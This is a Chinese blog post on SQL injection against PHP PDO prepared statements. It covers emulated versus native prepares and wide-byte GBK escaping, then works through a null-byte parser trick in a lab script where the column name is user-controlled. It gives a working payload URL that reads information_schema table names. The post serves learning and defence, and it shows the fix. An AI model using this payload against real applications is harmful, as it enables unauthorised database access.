预编译下的SQL注入以及思考

参考:
预编译与sql注入
# 关于预编译与宽字节注入的再思考
# A Novel Technique for SQL Injection in PDO’s Prepared Statements

每次学习SQL注入都说PDO预编译可以有效防止SQL注入,那遇到预编译我们就真的没办法了吗?

什么是预编译

预编译(Prepared Statement,也被称为预处理语句) 是数据库的一种高效且安全的查询执行机制。

预编译分为两个阶段

  • 准备阶段 (Prepare): 应用程序将带有“占位符”(通常是 ?)的 SQL 模板发送给数据库。

    • 示例: SELECT * FROM users WHERE username = ?;

    • 数据库会对这个模板进行语法分析和编译,确定查询路径,并将其缓存起来。

  • 执行阶段 (Execute): 应用程序只需要把实际的参数值传给数据库。

    • 示例: 传入 "admin"

    • 数据库直接把参数填入之前编译好的模板中执行,不再重复编译。

理论上来说这样的是将用户输入的值作为一个整体传入,不会再产生歧义。这样就确实应该很安全了吧?

但是有很多地方是不能使用预编译的,为什么呢?这个我们后面再说。现在我们先来探究预编译下的SQL注入。

宽字节注入与预编译

之前我们应该学过宽字节注入究其原因就是服务端编码设置不当(通常为把服务端编码设置为GBK)。
由于addslash函数会在单引号前添加一个反斜杠。若黑客输入一个特定的字符(一般是%df)。而反斜杠的URL编码是%5c,此时服务器会把%df与%5c结合成一个字符,从而导致单引号逃逸。

后面我们讲到一种“假”预编译就是利用了这个原理。

虚假的预编译?

先开启日志

show global variables like '%general_log%'; 
set global general_log = 'on';

我们先来看一段代码

<?php  
try {  
    $pdo = new PDO('mysql:host=localhost;dbname=testsql', 'root', 'root');  
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);  
    $pdo->query("SET NAMES gbk");  
  
    $stmt = $pdo->prepare("SELECT * FROM users where username = :input");  
    $stmt->bindParam(':input', $input);  
    $input = $_GET['input'];  
    $a = $stmt->execute();  
    $results = $stmt->fetchAll(PDO::FETCH_ASSOC);  
    var_dump($results);  
  
} catch (PDOException $e) {  
    echo "数据库执行出错: " . $e->getMessage();  
}  
?>

先来执行一段正常的查询
image.png
然后我们来看看日志
image.png
你会发现,这和平常的SQL语句也没区别。哪里有预编译?

那我们加个单引号试试呢?

image.png
这时候你会发现,单引号被转义了。
所以一般我们把这个称作虚假的预编译,这个就有点和addslash函数类似。
刚刚我们说到有些地方不能使用预编译就是这个原因
例如order by,你在加引号和不加引号的情况下查询结果是完全不同的,前者是当成字符串,后者才是当成列名查询
image.png
加引号
image.png
不加引号

这时你就会发现数据库报错了
image.png

既然这是虚假的预编译,那什么才是真正的预编译

真正的预编译

<?php  
try {  
    $pdo = new PDO('mysql:host=localhost;dbname=testsql', 'root', 'root');  
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);  
    $pdo -> setAttribute(PDO::ATTR_EMULATE_PREPARES, false);  #变化
    $pdo->query("SET NAMES gbk");  
    $stmt = $pdo->prepare("SELECT * FROM users where username = :input");  
    $stmt->bindParam(':input', $input);  
    $input = $_GET['input'];  
    $a = $stmt->execute();  
    $results = $stmt->fetchAll(PDO::FETCH_ASSOC);  
    var_dump($results);  
  
} catch (PDOException $e) {  
    echo "数据库执行出错: " . $e->getMessage();  
}  
?>

我们可以看到就多了一行代码

$pdo -> setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

这行代码是干什么的?

这个选项用来配置PDO是否使用模拟预编译,默认是true,因此默认情况下PDO采用的是模拟预编译模式,设置成false以后,才会使用真正的预编译。开启这个选项主要是用来兼容部分不支持预编译的数据库(如sqllite与低版本MySQL),对于模拟预编译,会由客户端程序内部参数绑定这一过程(而不是数据库),内部prepare之后再将拼接的sql语句发给数据库执行。

此时我们再来试试看传入一个test

image.png

你会发现这个时候的SQL查询和之前有很大区别,
先连接->然后准备语句->用问号?占位->接着用输入替换问号 ->执行语句

而且我们输入的数据也使用了十六进制编码(这里好像会因为MySQL版本变化,笔者这里使用的是8.0)

既然语句再查询发生之前就已经写死了,那么也肯定没有歧义或者说是注入了。

一种虚假预编译的特殊利用?

前面我们说到,用户在预处理语句中经常需要输入列名和表名。由于这些名称无法绑定,开发人员只能将它们直接插入查询语句中。

那么假设我们再实战中遇到了不是gbk编码的虚假预编译又该怎么办?
如果列名或者表名可控的话我们还有一种办法
使用空白字符截断

我们来看这样一段代码

<?php  
$pdo = new PDO('mysql:host=localhost;dbname=testsql', 'root', 'root');  
$col = '`' . str_replace('`', '``', $_GET['col']) . '`';  
$stmt = $pdo->prepare("SELECT $col FROM fruit WHERE name = ?");  
$stmt->execute([$_GET['name']]);  
$data = $stmt->fetchAll(PDO::FETCH_ASSOC);  
var_dump($data);

我们来看看PDO在默认情况下对空白字符的处理

int pdo_mysql_scanner(pdo_scanner_t *s)
{
	const char *cursor = s->cur;


	s->tok = cursor;
	/*!re2c
	BINDCHR		= [:][a-zA-Z0-9_]+;
	QUESTION	= [?];
	COMMENTS	= ("/*"([^*]+|[*]+[^/*])*[*]*"*/"|(("--"[ \t\v\f\r])|[#]).*);
	SPECIALS	= [:?"'`/#-];
	MULTICHAR	= ([:]{2,}|[?]{2,});
	ANYNOEOF	= [\001-\377];
	*/


	/*!re2c
		(["]((["]["])|([\\]ANYNOEOF)|ANYNOEOF\["\\])*["]) { RET(PDO_PARSER_TEXT); }
		(['](([']['])|([\\]ANYNOEOF)|ANYNOEOF\['\\])*[']) { RET(PDO_PARSER_TEXT); }
		([`]([`][`]|ANYNOEOF\[`])*[`])			{ RET(PDO_PARSER_TEXT); }
		MULTICHAR								{ RET(PDO_PARSER_TEXT); }
		BINDCHR									{ RET(PDO_PARSER_BIND); }
		QUESTION								{ RET(PDO_PARSER_BIND_POS); }
		SPECIALS								{ SKIP_ONE(PDO_PARSER_TEXT); }
		COMMENTS								{ RET(PDO_PARSER_TEXT); }
		(ANYNOEOF\SPECIALS)+ 					{ RET(PDO_PARSER_TEXT); }
	*/
}

其中ANYNOEOF定义为[\001-\377]。那么如果我们传递一个空字节会发生什么?

image.png
看起来只是一个很普通的报错是吧
那,我们再加个问号呢?
image.png
数据库执行出错: SQLSTATE[HY093]: Invalid parameter number: number of bound variables does not match number of tokens
这个报错就很有意思了
PDO 解析器首先会尝试将其解析?\0为列名/表名。当遇到空字节时,由于其解析规则,解析过程会回溯。因此,反引号会被忽略SPECIALS,并被忽略SKIP_ONE(PDO_PARSER_TEXT)。这样,PDO 解析器会将第一个反引号视为?绑定参数。然后,PDO 解析器会继续将其视为name = ?第二个绑定参数,并抛出错误,因为我们只传递了一个参数,而解析器期望两个。

幸运的是,这个问题很容易解决,只要在问号后面添加注释?#\0——PDO 就会在解析完绑定参数后停止解析。(原文)
我自己尝试发现#并不生效,自己试了一下后发现--符号可以起作用,那就进一步试试吧
http://127.0.0.1/test.php?name=x%23&col=?--%00
image.png
但是MySQL中不允许出现%00这种NULL字节,那我们该如何绕过?
很简单,用一个分号结束语句
http://127.0.0.1/test.php?name=x;%23&col=?--%00return数据库执行出错: SQLSTATE[42S22]: Column not found: 1054 Unknown column ''x' in 'field list'`

此时的SQL语句是这样的

SELECT `'x`;#'#\0` FROM fruit WHERE name = ?

这时还剩下最后一个问题,列名’x显然不存在,这个时候之前学的SQL注入绕过技巧就可以排上用场了。我们建立起一个子查询让table_name为'x即可
最后的payload

http://127.0.0.1/test.php?name=x`%20FROM%20(SELECT%20table_name%20AS%20`%27x`%20from%20information_schema.tables)y;%23&col=\?--%00

image.png

posted @ 2026-04-01 19:11  Rycarl  阅读(20)  评论(0)    收藏  举报